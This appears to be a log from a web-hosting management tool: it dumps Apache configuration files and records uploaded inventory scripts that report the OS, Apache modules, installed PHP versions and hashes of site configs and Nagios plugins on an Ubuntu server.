# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/hostz_stoughton_us.conf)= 5184a155abacda25fdd0fe337c05c048
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 52dda690f85fbebe5c01c01e6531b898
MD5(/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf)= a008b1d959ff54c814ddd2d3374caaa7
MD5(/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4)= c29d84131eaa78ae6de265322455160a
MD5(/etc/apache2/sites-available/hostz_church.conf)= 658db80c433869cf04aa6b47d3017a52
MD5(/etc/ssl/certs/hostz)= 0fb409790b96d8fbbd847223dae3c121
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fd0075a430840c023780838db658a0c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf)= 74bfe5f347fa1ad20c501d5e44136f27
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 2ed97c7bdb5bb4d85b10881edae0c5b2
MD5(/etc/apache2/sites-available/hopeinstoughton_internal-api_org.conf)= d147f4a08d63d10749c6fba967c2c8af
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 2ed97c7bdb5bb4d85b10881edae0c5b2
MD5(/etc/apache2/sites-available/hopeinstoughton_mixer_org.conf)= cc24533683eb89420b0559cfbdc7e448
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7)= 5d32c626c6525ceb84cf2109fab6a447
MD5(/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf)= 5d929307ffa168be6c64c9e93d9cc35f
MD5(/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734)= 07d1aaebdd411de9016fd4325a87df18
link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2/sites-available/hostz_stoughton_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2/sites-available/hopeinstoughton_mixer_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf
STDERR:
/tmp/pkp554543:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-23 15:01:11: Establishing a connection
2025-12-23 15:10:21: Establishing a connection
2025-12-23 15:10:26: Establishing a connection
2025-12-23 15:10:26: Performing Server Status
2025-12-23 15:10:26:
PUT: /tmp/pkp388439
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 15:10:26:
chmod 755 /tmp/pkp388439; /tmp/pkp388439; rm /tmp/pkp388439
2025-12-23 15:10:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-23 15:10:26:
PUT: /tmp/pkp219411
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 15:10:26:
chmod 755 /tmp/pkp219411; /tmp/pkp219411; rm /tmp/pkp219411
2025-12-23 15:10:26:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 11905
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 11905 0.1 0.9 237184 39220 ? Ss 15:05 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-23 15:10:26:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'condor',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'headers_module',
22 => 'mime_module',
23 => 'mpm_prefork_module',
24 => 'negotiation_module',
25 => 'php_module',
26 => 'reqtimeout_module',
27 => 'rewrite_module',
28 => 'setenvif_module',
29 => 'socache_shmcb_module',
30 => 'ssl_module',
31 => 'status_module',
),
),
)
2025-12-23 15:10:26:
PUT: /tmp/pkp768609
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 15:10:26:
chmod 755 /tmp/pkp768609; /tmp/pkp768609; rm /tmp/pkp768609
2025-12-23 15:10:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 15:10:26:
PUT: /tmp/pkp866395
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 15:10:26:
chmod 755 /tmp/pkp866395; /tmp/pkp866395; rm /tmp/pkp866395
2025-12-23 15:10:27:
2025-12-23 15:10:27:
PUT: /tmp/pkp850954
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 15:10:27:
chmod 755 /tmp/pkp850954; /tmp/pkp850954; rm /tmp/pkp850954
2025-12-23 15:10:27:
(gzipped output)
bin(/usr/local/nagios/libexec/check_real)= a208d962703acc8eb82628e700ba7670
bin(/usr/local/nagios/libexec/check_ssh)= f8457681b23131f4de61f082c762b1f2
bin(/usr/local/nagios/libexec/check_ntp_time)= 228b0adc1454e6da73ab3f9dc1d4f5d2
bin(/usr/local/nagios/libexec/check_dummy)= a41368d0c0be00650bb36723478b4029
bin(/usr/local/nagios/libexec/check_ssmtp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_pop)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_imap)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1d83b10ac93ab4b85c7c2cf4a4c0433e
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_ide_smart)= d57d84c48726cdce1e7ad28eaec0e399
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= 28f26794d4890902cf74bd66bda2fcb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9265db043216413ea781252a4353a709
bin(/usr/local/nagios/libexec/check_nagios)= 2009d0ac0a6806bade7ea03bf247aa35
bin(/usr/local/nagios/libexec/check_overcr)= d5319203d3a47b40f80ca4847c24899c
bin(/usr/local/nagios/libexec/check_nntp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_spop)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_ftp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= d5cca138620a7cc9d699df5121d28e71
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_by_ssh)= 029b9262c888924c32b7eaad5806f9ef
bin(/usr/local/nagios/libexec/check_udp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_dig)= d84cbfbbf6b3ebc8eac06547e395df37
bin(/usr/local/nagios/libexec/check_http)= cca18c656fc43a38c0e04355390d0c7c
bin(/usr/local/nagios/libexec/check_nt)= 6b449c3a06cf1670990050fede189d20
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 3bc768324858e54ce7eaad07bbc34386
bin(/usr/local/nagios/libexec/check_clamd)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_users)= e3ca9d34b24fa489dc386cc095afbf80
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= 2d1dd39597dfd9d1570a9729ee94cf31
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 72cf90d29f30cbf64fa26a7b783ebcea
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 3ec6aee6b91efef2e6be8f06e517d9ce
bin(/usr/local/nagios/libexec/check_tcp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= acba4ebce0ce80d56050856c5ab558ba
bin(/usr/local/nagios/libexec/check_time)= b90f5e9584e85ff347ae12e4096cdbf7
bin(/usr/local/nagios/libexec/check_smtp)= 6d7aa9f1bd10515cb08b8ab9c05f749c
bin(/usr/local/nagios/libexec/check_ping)= 9d63a2e9262bc9721a8b0eb995ea8559
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 75e987818e1e2f73dc8300297e6c0dd5
bin(/usr/local/nagios/libexec/check_disk)= d5c6bf95d43c30a930f8e9340ae9ba04
bin(/usr/local/nagios/libexec/check_uptime)= a980a5b1081d4a02352bda0320328054
bin(/usr/local/nagios/libexec/check_icmp)= 9220600cb72e3c001d36a8ba3a5b3934
bin(/usr/local/nagios/libexec/check_nntps)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_load)= 60967d2271a80f3bf0baeef6dbc2a72e
